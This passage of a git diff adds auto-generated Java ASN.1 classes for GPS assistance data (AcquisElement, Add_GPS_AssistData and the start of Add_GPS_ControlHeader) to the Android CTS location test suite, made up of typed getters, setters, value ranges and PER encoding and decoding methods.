+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SatelliteID svid_;
+ public SatelliteID getSvid() {
+ return svid_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SatelliteID
+ */
+ public void setSvid(Asn1Object value) {
+ this.svid_ = (SatelliteID) value;
+ }
+ public SatelliteID setSvidToNewInstance() {
+ svid_ = new SatelliteID();
+ return svid_;
+ }
+
+ private AcquisElement.doppler0Type doppler0_;
+ public AcquisElement.doppler0Type getDoppler0() {
+ return doppler0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AcquisElement.doppler0Type
+ */
+ public void setDoppler0(Asn1Object value) {
+ this.doppler0_ = (AcquisElement.doppler0Type) value;
+ }
+ public AcquisElement.doppler0Type setDoppler0ToNewInstance() {
+ doppler0_ = new AcquisElement.doppler0Type();
+ return doppler0_;
+ }
+
+ private AddionalDopplerFields addionalDoppler_;
+ public AddionalDopplerFields getAddionalDoppler() {
+ return addionalDoppler_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AddionalDopplerFields
+ */
+ public void setAddionalDoppler(Asn1Object value) {
+ this.addionalDoppler_ = (AddionalDopplerFields) value;
+ }
+ public AddionalDopplerFields setAddionalDopplerToNewInstance() {
+ addionalDoppler_ = new AddionalDopplerFields();
+ return addionalDoppler_;
+ }
+
+ private AcquisElement.codePhaseType codePhase_;
+ public AcquisElement.codePhaseType getCodePhase() {
+ return codePhase_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AcquisElement.codePhaseType
+ */
+ public void setCodePhase(Asn1Object value) {
+ this.codePhase_ = (AcquisElement.codePhaseType) value;
+ }
+ public AcquisElement.codePhaseType setCodePhaseToNewInstance() {
+ codePhase_ = new AcquisElement.codePhaseType();
+ return codePhase_;
+ }
+
+ private AcquisElement.intCodePhaseType intCodePhase_;
+ public AcquisElement.intCodePhaseType getIntCodePhase() {
+ return intCodePhase_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AcquisElement.intCodePhaseType
+ */
+ public void setIntCodePhase(Asn1Object value) {
+ this.intCodePhase_ = (AcquisElement.intCodePhaseType) value;
+ }
+ public AcquisElement.intCodePhaseType setIntCodePhaseToNewInstance() {
+ intCodePhase_ = new AcquisElement.intCodePhaseType();
+ return intCodePhase_;
+ }
+
+ private AcquisElement.gpsBitNumberType gpsBitNumber_;
+ public AcquisElement.gpsBitNumberType getGpsBitNumber() {
+ return gpsBitNumber_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AcquisElement.gpsBitNumberType
+ */
+ public void setGpsBitNumber(Asn1Object value) {
+ this.gpsBitNumber_ = (AcquisElement.gpsBitNumberType) value;
+ }
+ public AcquisElement.gpsBitNumberType setGpsBitNumberToNewInstance() {
+ gpsBitNumber_ = new AcquisElement.gpsBitNumberType();
+ return gpsBitNumber_;
+ }
+
+ private AcquisElement.codePhaseSearchWindowType codePhaseSearchWindow_;
+ public AcquisElement.codePhaseSearchWindowType getCodePhaseSearchWindow() {
+ return codePhaseSearchWindow_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AcquisElement.codePhaseSearchWindowType
+ */
+ public void setCodePhaseSearchWindow(Asn1Object value) {
+ this.codePhaseSearchWindow_ = (AcquisElement.codePhaseSearchWindowType) value;
+ }
+ public AcquisElement.codePhaseSearchWindowType setCodePhaseSearchWindowToNewInstance() {
+ codePhaseSearchWindow_ = new AcquisElement.codePhaseSearchWindowType();
+ return codePhaseSearchWindow_;
+ }
+
+ private AddionalAngleFields addionalAngle_;
+ public AddionalAngleFields getAddionalAngle() {
+ return addionalAngle_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AddionalAngleFields
+ */
+ public void setAddionalAngle(Asn1Object value) {
+ this.addionalAngle_ = (AddionalAngleFields) value;
+ }
+ public AddionalAngleFields setAddionalAngleToNewInstance() {
+ addionalAngle_ = new AddionalAngleFields();
+ return addionalAngle_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSvid() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSvid();
+ }
+
+ @Override public void setToNewInstance() {
+ setSvidToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SatelliteID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "svid : "
+ + getSvid().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getDoppler0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getDoppler0();
+ }
+
+ @Override public void setToNewInstance() {
+ setDoppler0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AcquisElement.doppler0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "doppler0 : "
+ + getDoppler0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getAddionalDoppler() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAddionalDoppler();
+ }
+
+ @Override public void setToNewInstance() {
+ setAddionalDopplerToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AddionalDopplerFields.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "addionalDoppler : "
+ + getAddionalDoppler().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getCodePhase() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCodePhase();
+ }
+
+ @Override public void setToNewInstance() {
+ setCodePhaseToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AcquisElement.codePhaseType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "codePhase : "
+ + getCodePhase().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getIntCodePhase() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getIntCodePhase();
+ }
+
+ @Override public void setToNewInstance() {
+ setIntCodePhaseToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AcquisElement.intCodePhaseType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "intCodePhase : "
+ + getIntCodePhase().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsBitNumber() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsBitNumber();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsBitNumberToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AcquisElement.gpsBitNumberType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsBitNumber : "
+ + getGpsBitNumber().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getCodePhaseSearchWindow() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCodePhaseSearchWindow();
+ }
+
+ @Override public void setToNewInstance() {
+ setCodePhaseSearchWindowToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AcquisElement.codePhaseSearchWindowType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "codePhaseSearchWindow : "
+ + getCodePhaseSearchWindow().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getAddionalAngle() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAddionalAngle();
+ }
+
+ @Override public void setToNewInstance() {
+ setAddionalAngleToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AddionalAngleFields.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "addionalAngle : "
+ + getAddionalAngle().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class doppler0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_doppler0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public doppler0Type() {
+ super();
+ setValueRange("-2048", "2047");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_doppler0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_doppler0Type != null) {
+ return ImmutableList.of(TAG_doppler0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new doppler0Type from encoded stream.
+ */
+ public static doppler0Type fromPerUnaligned(byte[] encodedBytes) {
+ doppler0Type result = new doppler0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new doppler0Type from encoded stream.
+ */
+ public static doppler0Type fromPerAligned(byte[] encodedBytes) {
+ doppler0Type result = new doppler0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "doppler0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class codePhaseType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_codePhaseType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public codePhaseType() {
+ super();
+ setValueRange("0", "1022");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_codePhaseType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_codePhaseType != null) {
+ return ImmutableList.of(TAG_codePhaseType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new codePhaseType from encoded stream.
+ */
+ public static codePhaseType fromPerUnaligned(byte[] encodedBytes) {
+ codePhaseType result = new codePhaseType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new codePhaseType from encoded stream.
+ */
+ public static codePhaseType fromPerAligned(byte[] encodedBytes) {
+ codePhaseType result = new codePhaseType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "codePhaseType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class intCodePhaseType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_intCodePhaseType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public intCodePhaseType() {
+ super();
+ setValueRange("0", "19");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_intCodePhaseType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_intCodePhaseType != null) {
+ return ImmutableList.of(TAG_intCodePhaseType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new intCodePhaseType from encoded stream.
+ */
+ public static intCodePhaseType fromPerUnaligned(byte[] encodedBytes) {
+ intCodePhaseType result = new intCodePhaseType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new intCodePhaseType from encoded stream.
+ */
+ public static intCodePhaseType fromPerAligned(byte[] encodedBytes) {
+ intCodePhaseType result = new intCodePhaseType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "intCodePhaseType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gpsBitNumberType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gpsBitNumberType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gpsBitNumberType() {
+ super();
+ setValueRange("0", "3");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gpsBitNumberType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gpsBitNumberType != null) {
+ return ImmutableList.of(TAG_gpsBitNumberType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gpsBitNumberType from encoded stream.
+ */
+ public static gpsBitNumberType fromPerUnaligned(byte[] encodedBytes) {
+ gpsBitNumberType result = new gpsBitNumberType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gpsBitNumberType from encoded stream.
+ */
+ public static gpsBitNumberType fromPerAligned(byte[] encodedBytes) {
+ gpsBitNumberType result = new gpsBitNumberType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gpsBitNumberType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class codePhaseSearchWindowType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_codePhaseSearchWindowType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public codePhaseSearchWindowType() {
+ super();
+ setValueRange("0", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_codePhaseSearchWindowType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_codePhaseSearchWindowType != null) {
+ return ImmutableList.of(TAG_codePhaseSearchWindowType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new codePhaseSearchWindowType from encoded stream.
+ */
+ public static codePhaseSearchWindowType fromPerUnaligned(byte[] encodedBytes) {
+ codePhaseSearchWindowType result = new codePhaseSearchWindowType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new codePhaseSearchWindowType from encoded stream.
+ */
+ public static codePhaseSearchWindowType fromPerAligned(byte[] encodedBytes) {
+ codePhaseSearchWindowType result = new codePhaseSearchWindowType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "codePhaseSearchWindowType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("AcquisElement = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Add_GPS_AssistData.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Add_GPS_AssistData.java
new file mode 100755
index 0000000..aa9a1e8
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Add_GPS_AssistData.java
@@ -0,0 +1,224 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Add_GPS_AssistData extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Add_GPS_AssistData
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Add_GPS_AssistData() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Add_GPS_AssistData;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Add_GPS_AssistData != null) {
+ return ImmutableList.of(TAG_Add_GPS_AssistData);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Add_GPS_AssistData from encoded stream.
+ */
+ public static Add_GPS_AssistData fromPerUnaligned(byte[] encodedBytes) {
+ Add_GPS_AssistData result = new Add_GPS_AssistData();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Add_GPS_AssistData from encoded stream.
+ */
+ public static Add_GPS_AssistData fromPerAligned(byte[] encodedBytes) {
+ Add_GPS_AssistData result = new Add_GPS_AssistData();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Add_GPS_ControlHeader add_GPS_controlHeader_;
+ public Add_GPS_ControlHeader getAdd_GPS_controlHeader() {
+ return add_GPS_controlHeader_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Add_GPS_ControlHeader
+ */
+ public void setAdd_GPS_controlHeader(Asn1Object value) {
+ this.add_GPS_controlHeader_ = (Add_GPS_ControlHeader) value;
+ }
+ public Add_GPS_ControlHeader setAdd_GPS_controlHeaderToNewInstance() {
+ add_GPS_controlHeader_ = new Add_GPS_ControlHeader();
+ return add_GPS_controlHeader_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getAdd_GPS_controlHeader() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAdd_GPS_controlHeader();
+ }
+
+ @Override public void setToNewInstance() {
+ setAdd_GPS_controlHeaderToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Add_GPS_ControlHeader.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "add_GPS_controlHeader : "
+ + getAdd_GPS_controlHeader().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Add_GPS_AssistData = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Add_GPS_ControlHeader.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Add_GPS_ControlHeader.java
new file mode 100755
index 0000000..f0e722a
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Add_GPS_ControlHeader.java
@@ -0,0 +1,344 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Add_GPS_ControlHeader extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Add_GPS_ControlHeader
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Add_GPS_ControlHeader() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Add_GPS_ControlHeader;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Add_GPS_ControlHeader != null) {
+ return ImmutableList.of(TAG_Add_GPS_ControlHeader);
